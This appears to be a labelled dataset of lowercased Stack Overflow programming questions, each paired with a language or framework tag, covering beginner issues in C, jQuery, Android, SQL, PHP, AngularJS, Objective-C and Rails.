getting an  expected identified  error when it perfectly on an ide  i m using ssh secure shell to run and submit my assignment.  i m getting this error right now:     <code>in file included from a1ms4.c:15:0: contacts.h:37:4: error: expected identifier or â(â before â--â token in file included from contacts.c:16:0: contacts.h:37:4: error: expected identifier or â(â before â--â token</code>    which is bogus because the exact same code compiled on another ide.  these are my c files that are reporting the error.  i am not missing a ( or a { or a ; anywhere in my code.  i went through this code for hours to find a potential mistake but couldn t spot anything and despite that  it won t let me submit my assignment.    a1ms4.c   <pre><code>#define _crt_secure_no_warnings  #include &lt;stdio.h&gt; #include  contacts.h   int main(void) {     struct contact contact;      printf( contact management system\n-------------------------\n );      getname(&amp;contact.name);      getaddress(&amp;contact.address);      getnumbers(&amp;contact.numbers);      printf( \ncontact details\n--------------- );      printf( \nname details );      printf( \nfirst name: %s   contact.name.firstname);      printf( \nmiddle initial(s): %s   contact.name.middleinitial);      printf( \nlast name: %s   contact.name.lastname);      printf( \n );      printf( \naddress details );      printf( \nstreet number: %d   contact.address.streetnumber);      printf( \nstreet name: %s   contact.address.street);      printf( \napartment: %d   contact.address.apartmentnumber);      printf( \npostal code: %s   contact.address.postalcode);      printf( \ncity: %s   contact.address.city);      printf( \n );      printf( \nphone numbers: );      printf( \ncell phone number: %s   contact.numbers.cell);      printf( \nhome phone number: %s   contact.numbers.home);      printf( \nbusiness phone number: %s   contact.numbers.business);      printf( \n );      printf( \nstructure test for contact using functions done!\n );      return 0; } </code></pre>   contacts.c   <pre><code>#define _crt_secure_no_warnings  #include &lt;stdio.h&gt;  #include  contacts.h   void getname(struct name *name) {     char one;     struct name temporaryname;      printf( please enter the contact s first name:  );     scanf(  %[^\n]   temporaryname.firstname);     printf( do you want to enter a middle initial(s)  (y or n):  );     scanf(  %c   &amp;one);      if (one ==  y  || one ==  y ) {         printf( please enter the contact s middle initial(s):  );         scanf(  %[^\n]   temporaryname.middleinitial);     }      printf( please enter the contact s last name:  );     scanf(  %[^\n]   temporaryname.lastname);      *name = temporaryname;      return; }  void getaddress(struct address *address) {     char two;     struct address temporaryaddress;      printf( please enter the contact s street number:  );     scanf( %d   &amp;temporaryaddress.streetnumber);      printf( please enter the contact s street name:  );     scanf(  %[^\n]   temporaryaddress.street);      printf( do you want to enter an appartment number  (y or n):  );     scanf(  %c   &amp;two);      if (two ==  y  || two ==  y ) {         printf( please enter the contact s appartment number:  );         scanf(  %d   &amp;temporaryaddress.apartmentnumber);     }      printf( please enter the contact s postal code:  );     scanf(  %[^\n]   temporaryaddress.postalcode);      printf( please enter the contact s city:  );     scanf(  %[^\n]   temporaryaddress.city);      *address = temporaryaddress;      return; }  void getnumbers(struct numbers *numbers) {     char three  four  five;     struct numbers temporarynumbers;      printf( do you want to enter a cell phone number  (y or n):  );     scanf(  %c   &amp;three);      if (three ==  y  || three ==  y ) {         printf( please enter the contact s cell phone number:  );         scanf(  %[^\n]   temporarynumbers.cell);     }      printf( do you want to enter a home phone number  (y or n):  );     scanf(  %c   &amp;four);      if (four ==  y  || four ==  y ) {         printf( please enter the contact s home phone number:  );         scanf(  %[^\n]   temporarynumbers.home);     }      printf( do you want to enter a business phone number  (y or n):  );     scanf(  %c   &amp;five);      if (five ==  y  || five ==  y ) {         printf( please enter the contact s business phone number:  );         scanf(  %[^\n]   temporarynumbers.business);     }      *numbers = temporarynumbers;     return; } </code></pre>   contacts.h   <pre><code>/* ------------------------------------------- name: student number: email: section: date: ---------------------------------------------- assignment: 1 milestone:  4 ---------------------------------------------- */  struct name {     char firstname[31];     char middleinitial[7];      char lastname[36]; };  struct address {     int streetnumber;     char street[41];     int apartmentnumber;     char postalcode[8];     char city[41]; };  struct numbers {     char cell[21];     char home[21];     char business[21]; };  //this is a structure that includes the 3 previous structures. struct contact {     struct name name;     struct address address;     struct numbers numbers; }; </code></pre>,c
form validation for all the fields in jquery not working  i used jquery validation plugin to validate my form i.e.  user-form . when i tried to validate it using valid() method it returns true even if a single input field is filled.   <pre><code>if (!$( #user-form ).valid()) return false;  </code></pre>   how do i solve this issue such that it becomes true only after all fields are filled,jquery
where can i watch a video or a thumbnail of iphone sdk   where can i watch a video or a thumbnail of iphone sdk,iphone
why there is no endinvoke in cross thread ui component call    i have been trying to add some string to some listbox that i have on my application ( simple winform ) - and i did it in using begininboke    <pre><code> mylistbox.begininvoke(new action(delegate()  {        mylistbox.items.add(  some string  ));   })); </code></pre>   after i reading those 3 lines again - and i don t understand why in any example of cross thread ui that i look on google and on msdn i don t see any call of endinvoke   is there some reason to not call the endinvoke on this case,c#
sqlite3 connection and holding onto it during the lifetime of the app  i am following the  sqlitebooks  sample to understand how to work with sqlite3 for the iphone and am wondering if the connection to the database should be closed immediately after you do a query and reopened each time you need to talk to the db or should the connection be kept open at the start of the app and close on  appwillterminate   what are the costs associated with reopening the db connection multiple times within an app     also  the sample shows the reference to sqlite3 object (aka  database ) being passed around but without any reference counting -- is this a good pattern to follow,iphone
mysql query to select a distinct column and the count of a value in another column where column like distinct coumn   my data table is as below:   <pre><code>id week   result  1   13     good 2   13     bad 3   13     good 4   14     good 5   14     bad 6   15     bad </code></pre>   i need  a sql query to create an array as below:   <pre><code>wwek   good_count   bad_count 13            2             1  14            1             1 15            0             1 </code></pre>   can anyone please help me to find an appropriate mysql query,mysql
too many arguments to function  in c  i define a function    <pre><code>int find(char *t  int len){ } </code></pre>   then i call it with    <pre><code>value =  hello world ; rt = find(value  strlen(value)); </code></pre>   it does not work  and show  error: too many arguments to function ‘find’,c
always getting null value while reading a txt file  i am using the below code to read the value from a text file. but  always null value is read (<strong>versionfile</strong> is null always) . am i missing something in the code  <em>(note: the file is existing and values are there in it)</em>   <pre><code>string fileversion = environment.getexternalstoragedirectory() + file.separator +  chk.txt   versionfile =  0 ; file chkfile = new file(fileversion);  try {     bufferedreader br = new bufferedreader(new filereader(chkfile));     while ((versionfile = br.readline()) != null) {      }     br.close(); } catch (ioexception e) {  } </code></pre>,android
"registering a new controller for a dynamically loaded template  i have a template <strong>hsmenucreatenewticketcontent</strong> and it is dynamically loaded into a div in <strong>hsframeworktemplate</strong> in the following way:   <pre><code>&lt;div class= active-menu-item-content-page row col-md-12  ng-include src= routestring        ng-show= ismenucontentvisible &gt;  &lt;/div&gt; </code></pre>   i am searching for a way to use a new controller i.e <strong>hsmenuitemcontentcontroller</strong> for the dynamically included template.    i tried using ng-controller to register the controller but i had no luck. can anyone please suggest any idea     edit:    my <strong>hsframeworktemplate</strong> is as below:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= hs-framework-container row col-md-12 &gt;
     &lt;div class= hs-customer-support-icon col-md-1 &gt;
         &lt;img ng-src= {{ iconpath }}  src=  &gt;
     &lt;/div&gt;
     &lt;div class= hs-page-header col-md-10 &gt;
          hello  how can we help you  
         &lt;p&gt;welcome to our support page. please click one of the following options to begin.&lt;/p&gt;
     &lt;/div&gt;
     &lt;div ng-transclude class= col-md-12 &gt;&lt;/div&gt;&lt;br/&gt;
     &lt;br/&gt;
     
     &lt;div class= active-menu-item-content-page row col-md-12  ng-include src= routestring  
          ng-show= ismenucontentvisible &gt;
 
     &lt;/div&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",angularjs
.net diagnostic tools   does anyone know some generic computer or/and application diagnostic tools for .net applications     for example a applications doesn t start on the computer of a customer. he can run the diagnostics tool which does some simple checks like:   <ul> <li>which .net framework versions are installed </li> <li>is the installed .net framework version valid (or maybe brocken) </li> <li>...</li> </ul>   never seen something like this for .net specific applications.,.net
can we have multiple modules in angularjs  is it possible to create more than one module in angularjs for a single registration form     need some examples for demonstration.    now can we two different modules   one for the form validations and other to call a servlet post method. because either of them is running. i want both of them to run simultaneously. how can i solve this issue  please provide the html syntax to call both of the modules simultaneously.     thank-you.   <pre><code>var app = angular.module( myapp   []); function mycontroller($scope  $http) {     $http({             method :  post               url :  servlet url          }).success(function(data  status  headers  config) {             $scope.person = data;         }).error(function(data  status  headers  config) {         }); };    var validationapp = angular.module( validationapp   []); validationapp.controller( maincontroller   function($scope){      $scope.submit = function(){         $scope.submitted = true;       } }); </code></pre>,angularjs
ruby on rails failed to precompile  i m learning to make a web-app for a week and i m successful to run it locally but can t push it to heroku master. i get the following error:    <a href= https://i.stack.imgur.com/u3hqy.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/u3hqy.png  alt= enter image description here ></a>,ruby-on-rails
my setonlongclicklistner is not working  i am new to android and i am trying to change the text by long clicking on button but i am getting the error in the second line.how can i resolve this please help   <pre><code>button b=(button)findviewbyid(r.id.button); b.setonlongclicklistener(new view.onlongclicklistener() {     public void onlongclick(view v) {         textview t = (textview) findviewbyid(r.id.textview2);         t.settext( text changed! );     } }); </code></pre>,android
webview and customfont  hi am using webview  i need to use custom font(verdana.ttf) how can i do this.(am using honeycomb)    am using following code for setting font   <pre><code>  &lt;html&gt;&lt;body&gt;&lt;span style=\ font-size : 12pt;color : #333333;font-family: verdana; src: url( fonts/verdana.ttf );\  &gt; +data+ &lt;/span&gt;&lt;/body&gt;&lt;/html&gt;   </code></pre>,android
find all id with a specific string  i am trying to get all the <code>href</code> tags of all links on a page  and put them in an array. i have the following code  but when i check the console i get the error <code>uncaught typeerror: object  has no method  attr </code> i m not to sure where to go from here. any ideas     <strong>code</strong>   <pre><code>function videolinks() {     var videolinks = $( a[id^=a_l_] ).each(function() {         var linkarray = jquery.makearray(videolinks);         console.log(linkarray.attr( href ));     }); } </code></pre>,jquery
input and output in c++  i have a difficulty running this c++ code when i type the input into the program the computer spits out  0  instead of the intended output.   <pre><code>#include &lt;iostream&gt;  using namespace std;   int main()  {      int name;      cout &lt;&lt;  enter your name ;      cin &gt;&gt; name;      cout &lt;&lt;  that name fits you well    &lt;&lt; name;       return 0;  } </code></pre>,c++
jquery: binding events to dynamically created elements  <pre><code>$(function(){      $( div ).click(function(){         $(this).clone().insertafter( $(this) );      });  }); </code></pre>   this is a stupid little page where everytime a div is clicked  it generates a copy of it and it s placed right after it.    this seems to work fine  but only for divs that have been hardcoded. when the div is cloned and then clicked  nothing happens because the event hasn t been binded to it.    what is correct way to make this work,jquery
get current slide data of slick angularjs  how can i get the data of the current slide of the slick using angularjs  i ve been solving this one for hours and i only got to read about how they got it using jquery  which is not what i needed because i m using angularjs.    this is my code:   <pre><code>&lt;div ng-if= data &amp;&amp; ready &gt;     &lt;slick infinite= true  slides-to-show= 1  slides-to-scroll= 1  current-index=   dots= true  arrows= true  init-onload= true  data= data &gt;     &lt;div ng-repeat= xx in data  &gt;      &lt;img src= @{{xx.banner}}  alt= grid-1 /&gt;       &lt;p&gt;@{{xx.referno}}&lt;/p&gt;     &lt;p&gt;@{{xx.name}}&lt;/p&gt;     &lt;p&gt;@{{xx.address}}&lt;/p&gt;     &lt;/div&gt;     &lt;/slick&gt; &lt;/div&gt; </code></pre>,angularjs
lifetime of variables and processes in ios  when i navigate away from an app  what happens to those active processes running. i haven t found the right information regarding subject  but when a user comes back to the app what can i expect  will the active page continue running where it left off  will my variables retain their values  if anyone can point in the right direction that would be appreciated.,ios
-(void)viewwillappear:(bool)animated doesn t called  my application is view based in my app in one view i write view will appear but this method doesn t call. my code is   <pre><code>-(void)viewwillappear:(bool)animated {     nslog(@ view will appear );     [tableview reloaddata]; } </code></pre>   can anyone tell why viewwillappear method not called.    sorry i forgot to tell you that this method call first time but when i remove a subview from this view viewwillappear not called. please suggest me how to solve this problem.,objective-c
clarification on $_files php command  could someone explain to me what this php command <code>$_files[ file ][ error ]</code> means  i saw this command and looked up the documentation and the explanation is vague and i have search on google  but could not get a better explanation. and the  <code>file</code>  and  <code>error</code>  could it be different variable names or it has to be  file  and  error .,php
searching in sql based on values in 2 columns  i currently have 2 columns for my database and i m trying to return all values in column 1 that don t contain a certain value in column two:    ex: column 1 has 9 digit random value  sometimes repeated. there are 4 different options for column 2; p1  p2  p3  p4.     i m trying to only display values in column 1 that don t have a value of p4 in column 2. if they don t have a p4  then i want them all to be displayed  but once a column 1 value is associated with p4  i don t want any of the column 1 values displayed. this process will continue through all column 1 values until the only values displayed in column 1 are values that do not have a p4 column 2 value associated with them.,sql
mysql  repeat all values for each value from the first column  sorry  i don t even know how to ask  but that s the thing. i have one small table with 30 rows.    i want to select all values from one column and with each value bring all the values from another column  repeating.    let me try to show  small example  this is my table and values:   <pre><code>[column color] / [column qtd] blue / 3 red / 5 gray / 7 yellow / 2 </code></pre>   i want to bring that result on a select query:   <pre><code>blue / 3 blue / 5 blue / 7 blue / 2 red / 3 red / 5 red / 7 red / 2 gray / 3 gray / 5 gray / 7 gray / 2 yellow / 3 yellow / 5 yellow / 7 yellow / 2 </code></pre>   it s bring all the values from column color and bring all the values from qtd repeating for each different color value.    sorry  it s kinda hard to explain :(    but thanks.,mysql
can i translate .net assembly versions to dates   all of my .net assemblies uses the 1.0.* format for their version numbers. supposedly the * gets replaced with the current date and time  translated into a number. what is the formula to translate it back into a date and time,.net
check if directory exists  make directory  i m having a little trouble with this. thought it d be easier  but turning out to frustrate. all i m trying to do is have a text field where i can type the name of a new directory  check if that directory exists  and if not create it. i have found about 50 other people with almost the exact same code  so thought i had it correct but i keep getting directory exists as per the  if  statement.    eventually i want to tie this into my file upload script.    here is the insert.php   <pre><code>&lt;form action=   method= post  enctype= multipart/form-data  name= form1  id= form1 &gt;   &lt;p&gt;     &lt;label for= directory &gt;directory:&lt;/label&gt;     &lt;input value= &lt; php if ($_post &amp;&amp; $errors) {   echo htmlentities($_post[ directory ]  ent_compat   utf-8 ); } &gt;  type= text  name= directory  id= directory  /&gt;   &lt;/p&gt;   &lt;p&gt;     &lt;input type= submit  name= insert  id= insert  value= insert  /&gt;   &lt;/p&gt; &lt;/form&gt; </code></pre>   and here is the post.php   <pre><code>try { if (isset($_post[ insert ])) {     $directory = $_post[ directory ];     $photo_destination =  image_upload/ ;     $path = $photo_destination;     $new_path = $path . $directory;     $mode = 0755;     if(!is_dir($new_path)) {         echo  the directory {$new_path} exists ;         } else {             mkdir($new_path   0777);             echo  the directory {$new_path} was created ;             }         } } </code></pre>,php
how to debug a t-sql trigger   i have a table t  which has an  after insert  trigger called trginsafter. exactly how do i debug it  i m no expert on this  so the question and steps performed might look silly.    the steps i performed so far are:  1. connect to the <code>server instance</code> via <code>ssms</code> (using a windows admin account)   <ol> <li> right click the trigger node from the lefthand tree in ssms and double click to open it  the code of the trigger is opened in a new query window (call this window-1) as :  blah....     <pre><code>alter trigger trginsafter as .... begin ... end </code></pre></li> <li> open another query window (call this window-2)  enter the sql to insert a row into table t:   <pre><code>insert t(c1 c2) values(1  aaa ) </code></pre></li> <li> set a break point in window-1 (in the trigger s code) </li> <li> set a break point in window-2 (the insert sql code) </li> <li> click the debug button on the toolbar while window-2 is the current window    the insert sql code s breakpoint is hit  but when i look at window-1  the break point in the trigger s code has a tooltip saying <code> unable to bind sql breakpoint  object containing the breakpoint not loaded </code> </li> </ol>   i can sort of understand issue: how can <code>ssms</code> know that the code in window-1 is the trigger     i want to debug  i can t see where to tell ssms that  hey  the code in this query editor is table t s inssert trigger s code     any suggestions     thanks,sql
error: invalid conversion from  void*  to  int (*)(const void*  const void*)   while compiling my c file  i am getting the below error:   <pre><code>error: invalid conversion from  void*  to  int (*)(const void*  const void*)  error:   initializing argument 1 of  void* bsearch(int (*)(const void*  const void*))  </code></pre>   below are some code snippets:   <pre><code>static int testfucn(const char *func  const teststruct *array) {   return (strcmp(func  array-&gt;name)); }  int test(char *fcn) {     if (bsearch((void*)testfucn))         return(1);     else         return(0); } </code></pre>   error is coming for the line <code>bsearch((void*)testfucn)</code>    could you please suggest what is wrong with this code and how to resolve this issue.,c
catch error like proxy error with angularjs http service  is it possible to catch errors like 502 proxy error in the $http service from angular1  normally the server is returning some http status code like 500 and in the body an error message.     errors like this are exactly the same of course  it s an 502 error and the body is some html code (default apache)  so i get that html code as error message and my application wil show that code as error.    is there a way to catch those errors and rewrite them to user friendly error messages,angularjs
average value by grouping  trying to get the mean of the <code>value</code> for each different grouping of <code>typeid</code>. something like   <pre><code>select avg(value) from dbo.tabletest group by distinct typeid  </code></pre>   tabletest   <pre><code>typeid      popularityid        criteriaid      exposureid     value 10          20                  5               12             2  10          20                  4               4              0.90 14          20                  2               10             1.21 15          32                  5               8              0.90 18          20                  3               7              51 </code></pre>,sql
hiding slideshow on click  i m trying to hide a slideshow when a x button is clicked  but it is not working. i m not sure if it has anything to do with the <code> id </code> or <code> class </code>  but i ve tried everything already and it is not hiding what i want it to. (can t use jquery  this is for a little school project). i usually can hide everything using that button and function  but i can t make it work with the slideshow.   <pre><code>&lt;div id= slideshow-container &gt;   &lt;a class= prev  onclick= plusslides(-1) &gt;&amp;#10094;&lt;/a&gt;   &lt;a class= next  onclick= plusslides(1) &gt;&amp;#10095;&lt;/a&gt;   &lt;button id= exit  onclick= hideslides(this   slideshow-container ) &gt;   &lt;img id= exit  src= image/exit.png &gt;  &lt;/button&gt;    &lt;div class= myslides fade &gt;     &lt;img src= image/remar1.jpg  style= width:100% &gt;   &lt;/div&gt;    &lt;div class= myslides fade &gt;     &lt;img src= image/remar2.jpg  style= width:100% &gt;   &lt;/div&gt;    &lt;div class= myslides fade &gt;     &lt;img src= image/remar3.jpg  style= width:100% &gt;   &lt;/div&gt;    &lt;div class= myslides fade &gt;     &lt;img src= image/remar4.jpg  style= width:100% &gt;   &lt;/div&gt;    &lt;div class= myslides fade &gt;     &lt;img src= image/remar5.jpg  style= width:100% &gt;   &lt;/div&gt;    &lt;div class= myslides fade &gt;     &lt;img src= image/remar6.jpg  style= width:100% &gt;   &lt;/div&gt;    &lt;div class= myslides fade &gt;     &lt;img src= image/remar7.jpg  style= width:100% &gt;   &lt;/div&gt;    &lt;div class= myslides fade &gt;     &lt;img src= image/remar8.jpg  style= width:100% &gt;   &lt;/div&gt;    &lt;div class= myslides fade &gt;     &lt;img src= image/casa1.jpg  style= width:100% &gt;   &lt;/div&gt;    &lt;div class= myslides fade &gt;     &lt;img src= image/casa2.jpg  style= width:100% &gt;   &lt;/div&gt;    &lt;div class= myslides fade &gt;     &lt;img src= image/casa3.jpg  style= width:100% &gt;   &lt;/div&gt;    &lt;div class= myslides fade &gt;     &lt;img src= image/casa4.jpg  style= width:100% &gt;   &lt;/div&gt;    &lt;div class= myslides fade &gt;     &lt;img src= image/casa5.jpg  style= width:100% &gt;   &lt;/div&gt;    &lt;div class= myslides fade &gt;     &lt;img src= image/casa6.jpg  style= width:100% &gt;   &lt;/div&gt;    &lt;div class= myslides fade &gt;     &lt;img src= image/casa7.jpg  style= width:100% &gt;   &lt;/div&gt;    &lt;div class= myslides fade &gt;     &lt;img src= image/jose1.jpg  style= width:100% &gt;   &lt;/div&gt;    &lt;div class= myslides fade &gt;     &lt;img src= image/jose2.jpg  style= width:100% &gt;   &lt;/div&gt;    &lt;div class= myslides fade &gt;     &lt;img src= image/jose3.jpg  style= width:100% &gt;   &lt;/div&gt;    &lt;div class= myslides fade &gt;     &lt;img src= image/jose4.jpg  style= width:100% &gt;   &lt;/div&gt;    &lt;div class= myslides fade &gt;     &lt;img src= image/jose5.jpg  style= width:100% &gt;   &lt;/div&gt;    &lt;div class= myslides fade &gt;     &lt;img src= image/jose6.jpg  style= width:100% &gt;   &lt;/div&gt;    &lt;div class= myslides fade &gt;     &lt;img src= image/jose7.jpg  style= width:100% &gt;   &lt;/div&gt;    &lt;div class= myslides fade &gt;     &lt;img src= image/jose8.jpg  style= width:100% &gt;   &lt;/div&gt;    &lt;div class= myslides fade &gt;     &lt;img src= image/jose9.jpg  style= width:100% &gt;   &lt;/div&gt;    &lt;/div&gt;   //javascript   function hideslides(){   var slides =    document.getelementsbyclassname( myslides ).style.display= none     }  //css   .myslides {   display: none;   visibility: visible;   }   img {vertical-align: middle;}     #slideshow-container {   max-width: 1000px;   height: 200px;   left: 10px;   position: relative;   margin: auto;   bottom: 1932px;   visibility: hidden;   }    .prev  .next {   cursor: pointer;   position: absolute;   top: 50%;   width: auto;   padding: 16px;   margin-top: -22px;   color: black;   font-weight: bold;   font-size: 18px;   transition: 0.6s ease;   border-radius: 0 3px 3px 0;    } </code></pre>,javascript
nomethoderror in researches#index  i try to make an application on rails similar to the official tutorial <a href= http://guides.rubyonrails.org/getting_started.html  rel= nofollow >http://guides.rubyonrails.org/getting_started.html</a>  but instead of articles  i have used the researches. where s my fault if i  when you try to view a list of all the research  i receive an error. where is my mistake    <pre><code>undefined method `name  for nil:nilclass </code></pre>   researchescontroller   <pre><code>class researchescontroller &lt; applicationcontroller      def new   end    def show     @research = research.find(params[:id])         end      def index         @researches = research.all     end      def create     @research = research.new(research_params)      @research.save     redirect_to @research   end    private     def research_params     params.require(:research).permit(:name  :period_of_execution  :cost)   end end </code></pre>   index.html.erb   <pre><code>&lt;h1&gt;listing of our researches&lt;/h1&gt;  &lt;table&gt;   &lt;tr&gt;     &lt;th&gt;name:&lt;/th&gt;     &lt;th&gt;period of execution:&lt;/th&gt;     &lt;th&gt;cost:&lt;/th&gt;   &lt;/tr&gt;    &lt;% @researches.each do |research| %&gt;     &lt;tr&gt;       &lt;td&gt;&lt;%= @research.name %&gt;&lt;/td&gt;       &lt;td&gt;&lt;%= @research.period_of_execution %&gt;&lt;/td&gt;       &lt;td&gt;&lt;%= @research.cost %&gt;&lt;/td&gt;     &lt;/tr&gt;   &lt;% end %&gt; &lt;/table&gt; </code></pre>,ruby-on-rails
my nsmutable array isn t adding a button  i m trying to add button to a scroll view using a nsmutablearray. the code works fine in a twitter example i am using as a reference  but for some reason it is not working in this case. in the twitter search case the code is implemented in the main class. while in this case i am implementing it in the flipside view. could anyone help me out since i am a bit new to objective c.  thanks in advance.    here is the init where the nsmutablearray buttons is initialized        <pre><code>  - (id)init     { self = [super init]; // initialize the superclass members  if (self != nil) // if the superclass initialized properly {           // creates list of valid directories for saving a file     nsarray *paths = nssearchpathfordirectoriesindomains(                                                          nsdocumentdirectory  nsuserdomainmask  yes);      // get the first directory     nsstring *dir = [paths objectatindex:0];      // concatenate the file name  tagsindex.plist  to the path     filepath = [[nsstring alloc] initwithstring:                 [dir stringbyappendingpathcomponent:@ tagsindex.plist ]];      nsfilemanager *filemanager = [nsfilemanager defaultmanager];      // if the file does not exist  create an empty nsmutabledictionary;     // otherwise  initialize an nsdictionary with the file s contents      if ([filemanager fileexistsatpath:filepath] == no)     {         tags = [[nsmutabledictionary alloc] init];     } // end if     else     {         tags = [[nsmutabledictionary alloc]                 initwithcontentsoffile:filepath];     } // end else       buttons = [[nsmutablearray alloc] init]; // create array      infobuttons = [[nsmutablearray alloc] init]; // create array }  return self;  // if self == nil  object not initialized properly } // end method init </code></pre>   here we have the method where we are adding the object to the buttons array but it stays empty.   <pre><code>- (void)addnewbuttonwithtitle:(nsstring *)title  { // create a new button uibutton *button = [uibutton buttonwithtype:uibuttontyperoundedrect];  // give the button the title of the tag [button settitle:title forstate:uicontrolstatenormal];  // tell the button to call buttontouched: when it is touched [button addtarget:self action:@selector(buttontouched:)  forcontrolevents:uicontroleventtouchupinside];  [buttons addobject:button]; // add the uibutton to the end of the array                                //this doesn t add it stays 0;    // sort the nsmutablearray by the uibutton s titles [buttons sortusingselector:@selector(comparebuttontitles:)];  [self refreshlist]; // refresh the list of favorite search buttons  // adjust the content size of the view to include the new button. the // view scrolls only when the content size is greater than its frame. cgsize contentsize = cgsizemake(scrollview.frame.size.width                                  buttons.count * (button_height + button_spacing) + button_spacing); [scrollview setcontentsize:contentsize]; } </code></pre>   here is the dealloc where i release the buttons array.   <pre><code> - (void)dealloc { [buttons release]; [super dealloc]; } </code></pre>   i can t figure out where the mistake is.    here is the code that is supposed to add a new button.   <pre><code>   - (ibaction)addtag:sender   { // make the keyboard disappear [itemtitlefield resignfirstresponder]; [quantityfield resignfirstresponder];  nsstring *key = itemtitlefield.text; // get the text in tagfield nsstring *value = quantityfield.text; // get the text in queryfield  // test if either field is empty if (value.length == 0 || key.length == 0)     return; // exit from the method  if ([tags valueforkey:key] == nil) // test if the tag already exists     [self addnewbuttonwithtitle:key]; // if not  add a new button  [tags setvalue:value forkey:key]; // add a new entry in tags  itemtitlefield.text = nil; // clear tagfield of text quantityfield.text = nil; // clear queryfield of text  [tags writetofile:filepath atomically:no]; //save the data  } // end method addtag: </code></pre>,objective-c
saving a string with erb data in the model  i currently save code like below in my user model.   <pre><code>user.where(type:  supercool ).each do |user|     if user.score == 100         user.message =  hello #{user.name}  you now have #{user.points} points! .html_safe     elsif user.address ==  new york          user.message =  you live in the same town as #{person.where(address: new york ).first.name}      user.save end </code></pre>   i save these messages in my model  and print them out in the view by just calling user.find(params[:id]).messages in the controller.    the actual model code is much longer  as there are many unique messages based on different scenarios.    while this works  i would now like to add a <code>link_to</code> to objects that are mentioned in the messages.    for the first message  i want to save it so that when i send it to the view  it s in the form of    <pre><code>hello &lt;%= link_to user.name  user_path(user.id) %&gt;  you now have &lt;%= link_to user.points  leaderboard_path %&gt; points! </code></pre>   i tried the below  but it doesn t work.   <pre><code>user.where(type:  supercool ).each do |user|     if user.score == 100         user.message =  hello #{link_to user.name  user}  you now have #{link_to user.points  leaderboard_path} points! .html_safe     user.save end </code></pre>   how can i save erb in my string,ruby-on-rails
passing parameter to the web service working code  again i am trying with soap method  but this time i downloaded the charles and observe the request that i create from my code. chales showing  failed to parse data(org.xml.sax.saxparser exception:content is not allowed in prolog)       here is my code:   <pre>   nsstring *soapmsg = [[nsstring alloc] initwithformat:@ \n                            \n                                                        \n                            %@\n                            %@\n                                                                                                                                          %@\n                            %@\n                            \n                            \n                            \n  str1 str2 str3 str4];                                nslog(soapmsg);      nsurl *url = [nsurl urlwithstring:@ http://192.168.0.218:84/webservicecustomerbyamit/service.asmx op=insertcustomerinformation ];     nslog(@ url. . . .%@   url);     nsmutableurlrequest *req = [nsmutableurlrequest requestwithurl:url];         nslog(@ req....%@   req);      nsstring *msglength = [nsstring stringwithformat:@ %d   [soapmsg length]];       nslog(@ msglength. . .%@   msglength);     [req addvalue: @ text/xml; charset=utf-8  forhttpheaderfield:@ content-type ];     [req addvalue: @ http://tempuri.org/insertcustomerinformation  forhttpheaderfield:@ soapaction ];     [req addvalue: msglength forhttpheaderfield:@ content-length ];     [req sethttpmethod:@ post ];     [req sethttpbody: [soapmsg datausingencoding:nsutf8stringencoding]];     nslog(@ req....%@   req);     nserror *error;     nsurlresponse *response;     //nsdata *urldata=[nsurlconnection sendsynchronousrequest:req returningresponse:&response error:&error];        nsurlconnection *theconnection = [[nsurlconnection alloc] initwithrequest:req delegate:self];       if( theconnection )      {          //webdata = [[nsmutabledata data] retain];          nslog(@ theconnection is ok );      }      else      {          nslog(@ theconnection is null );      }           if(!response){         uialertview *alert = [[uialertview alloc] initwithtitle:@ connection error  message:@ failed to connect to the internet  delegate:self  cancelbuttontitle:@ ok  otherbuttontitles:nil];         [alert show];         [alert release];     }      else{         uialertview *alert1 = [[uialertview alloc] initwithtitle:@ connection successful  message:@ connected to the internet  delegate:self  cancelbuttontitle:@ ok  otherbuttontitles:nil];         [alert1 show];         [alert1 release];      } }    </pre>   help!! thanks in advance!!,iphone
thread t1 has odd number and another thread t2 has even number  suppose there are two thread t1  which contain odd number(1 3 5 7) and there is another thread t2 which contain even number(2 4 6 8). i need output as  12345678.,java
catch dynamic page without use database id  this is my <code>content.php</code>. i want to show <code>sectors/sector_id=1.php</code> if some one click one my side bar <code>sectors/sector_id=1.php</code> then sector pass an id 1 then it shows some content then another menu then it goes to another page  but it shows only one page <code>sector_id=0.php</code> and when id is 1 or 2 it shows <code>sector_id=0.php</code> this page:   <pre><code>&lt; php     if($id==1) include( sectors/sector_id=1.php );     if($id==2) include( sectors/sector_id=0.php );  &gt; </code></pre>   this is my side bar   <pre><code>&lt;ul id= sector-nav  class= nav &gt;      &lt;li &gt;         &lt;!--&lt;a href= &amp;itemid=&amp;sector_id=1 &gt;fibre&lt;/a&gt;--&gt;         &lt;a href= sectors.php &lt; php echo $id=1; ; &gt; &gt;fibre&lt;/a&gt;     &lt;/li&gt;     &lt;li &gt;         &lt;!--&lt;a href= &amp;itemid=&amp;sector_id=2 &gt;hand protection&lt;/a&gt;--&gt;         &lt;a href= sectors.php &lt; php echo $id=2;  &gt; &gt;hand protection&lt;/a&gt;     &lt;/li&gt;     &lt;li &gt;         &lt;!--&lt;a href= &amp;itemid=&amp;sector_id=3 &gt;purification products&lt;/a&gt;--&gt;         &lt;a href= sector_id=3.html &gt;purification products&lt;/a&gt;     &lt;/li&gt;     &lt;!-- others &lt;li&gt; s --&gt; &lt;/ul&gt; </code></pre>,php
query product list with quantity bought for each  my mysql isn t as sharp as others and i ve been trying to figure this out for the past hour. maybe you can point me in the right direction. i have a list of products and i m trying to get a report out of them. this is what i have:   <pre><code>-- product list: tbl_products id       product_name ------  ---------------- 1        hamburger 2        cheeseburger 3        burger balls   -- list of orders: tbl_orders id       created ------  ----------------------- 23       2013-09-04 00:00:00 45       2013-09-05 00:00:00 67       2013-09-09 00:00:00   -- products bought per order: tbl_product_orders order_id    product_id      quantity ----------  --------------  -------- 23          1                4 23          2                6 45          1                1 67          3                2 </code></pre>   this is what i m trying to achieve with one query:   <pre><code>-- how do i get this order_id    hamburger     cheeseburger    burger balls ----------  ------------- --------------- -------------- 23           4             6               0 45           1             0               0 67           0             0               2 </code></pre>   does anyone know how to do this     <strong>edit:</strong> i ll post my earlier scripts in a bit. i just have to run to class right now. :),mysql
